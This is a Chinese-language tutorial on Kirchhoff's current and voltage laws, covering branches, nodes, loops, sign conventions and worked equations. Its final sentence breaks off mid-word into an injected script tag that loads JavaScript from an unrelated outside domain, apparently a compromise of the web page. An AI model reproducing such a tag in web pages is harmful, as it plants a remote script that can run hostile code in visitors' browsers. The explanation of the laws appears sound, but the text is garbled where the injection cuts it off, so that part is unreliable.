基尔霍夫定律

一. 名词介绍

我们以图1-4-1所示的电路来介绍有关的名词。

1.支路:按狭义定义,把通过同一电流的电流路径成为

支路。如图1-4-1,该电路共有三条支路,其中支路
b1a和b2a中既有电阻又有电源,称为有源支路;

支路a3b只有电阻而无电源,称为无源支路。

2.节点:按狭义定义,三条和三条以上支路的联接点

称为节点,如图1-4-1所始电路有两个节点a和b。

3.回路:由支路构成的闭合路径称为回路,如图1-4-1,

共有三个回路,即a2b1a回路,a3b2a回路,a3b1a

回路。

二. 基尔霍夫电流定律(kcl)         

基尔霍夫电流定律是描述电路中各支路电流之间相互关系的

的定律。在任意时刻t,流入某个节点的电流的总和等于流出该

节点的电流的总和。此结论称为基尔霍夫电流定律(kcl)。

例如对于图1-4-1所示电路,我们设定各支路电流的大小和参            

考方向如图中所示,则对该点有
       i1(t)+i2(t)=i3(t)

将上式改写为 -i1(t)-i2(t)+i3(t)=0

上式的物理意义是,流出节点a的电流的代数和等于零。这里流出的电流规定取正号,则流入的电流即取负号。
若将上式再改写为 i1(t)+i2(t)-i3(t)=0 图1-4-1 电路举例
此式的的物理意义是,流入节点a的电流的代数和等于零。这里流入的电流规定取正号,则流出的电流即取负号。

上两式是kcl的另一中叙述法。它们本质上是一样的,只是在列写方程时把流出节点的电流规定为正,还是把流入节点的电流规定为正而已。

上两式写成一般形式为:∑i1(t)=0 即集中在任一节点上的各支路电流的代数和恒为零。

需要注意的是:在写方程时,如把流出节点的电流视为正,则流入节点的电流即需取为负;反之则反之。

推广:kcl原是运用于节点的,但把它加以推广,也可使用于包围几个节点的闭合面。如图1-4-2所示电路中,闭合面s内有三个节点1,2,3。

图1-4-2 kcl推广于闭合面
当设定各支路电流的大小和参考方向如图中所示时,则对此三个节点即可列出kcl方程     
           i1 = i12 - i31

          i2= i23 - i12
          i3 = i31 - i23

把以上三式相加得: i1 + i2 + i3=0 或 ∑i1(t)=0

即流入(或流出)一个闭合面的支路电流的代数和恒等于零。此即广义的kcl。需要注意的是:在写方程时,如把流出闭合面的电流视为正,则流入闭合面的电流即需取为负;反之则反之。
三.基尔霍夫电压定律(kvl)

基尔霍夫电压定律是描述回路中各支路电压之间相互关系的定律。在任意时刻t,沿任一回路所有支路或元件上电压的代数和恒等于零,即   ∑u(t)=0 (1-4-2)

此结论称为基尔霍夫电压定律(kvl)。在写此方程时,应首先为回路设定一个饶行方向,凡电压的参考极性从"+"到"-"与回路绕行方向一致者,则该电压前取"+"号,否则取"-"号。

例如对于1-4-3所示电路,我们设定各元件电压的参考极性和回路的绕行方向如图中所示,则有

        u1+u2+u3+us3-us4-u4=0

将此式改写为 -u1-u2-u3-us3+us4+u4=0

方程意味着把回路的绕行方向设定为与前者相反。由此可见,回路绕行方向的设定直接影响着方程中各项正负号的确定,但不影响方程的本质,故可以任意设定。
 

图1-4-3 电路中的一个回路

若电路中的电阻均为线性电阻元件,则上述的kvl方程还可改写为另一种叙述方法,即

      r1i1+r2i2+r3i3+ us3-us4-r4i4=0

即     r1i1+r2i2+r3i3-r4i4= -us3+us4

即     ∑rkik=∑usk (1-4-3)

上式指出,任一回路中电阻上电压降的代数和恒等于电压源电压升的代数和。凡电流参考方向与回路绕行方向一致者,上式等号左端rkik前取"+"号,不一致者,rkik前取"-"号;凡电压源电压的极性从"-"到"+"与绕行方向一致者,上式等号右端usk前取"+"号,不一致者,usk前取"-"号。

四.拓扑约束的概念

基尔霍夫电流定律(kcl)描述了电路中各支路的电流之间的关系,基尔霍夫电压定律(kvl)描述了电路中各支路电压之间的关系,它们都与电路元件的性质无关,而只取决于电路的连接方式。所以我们把这种约束关系称为连接方式?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计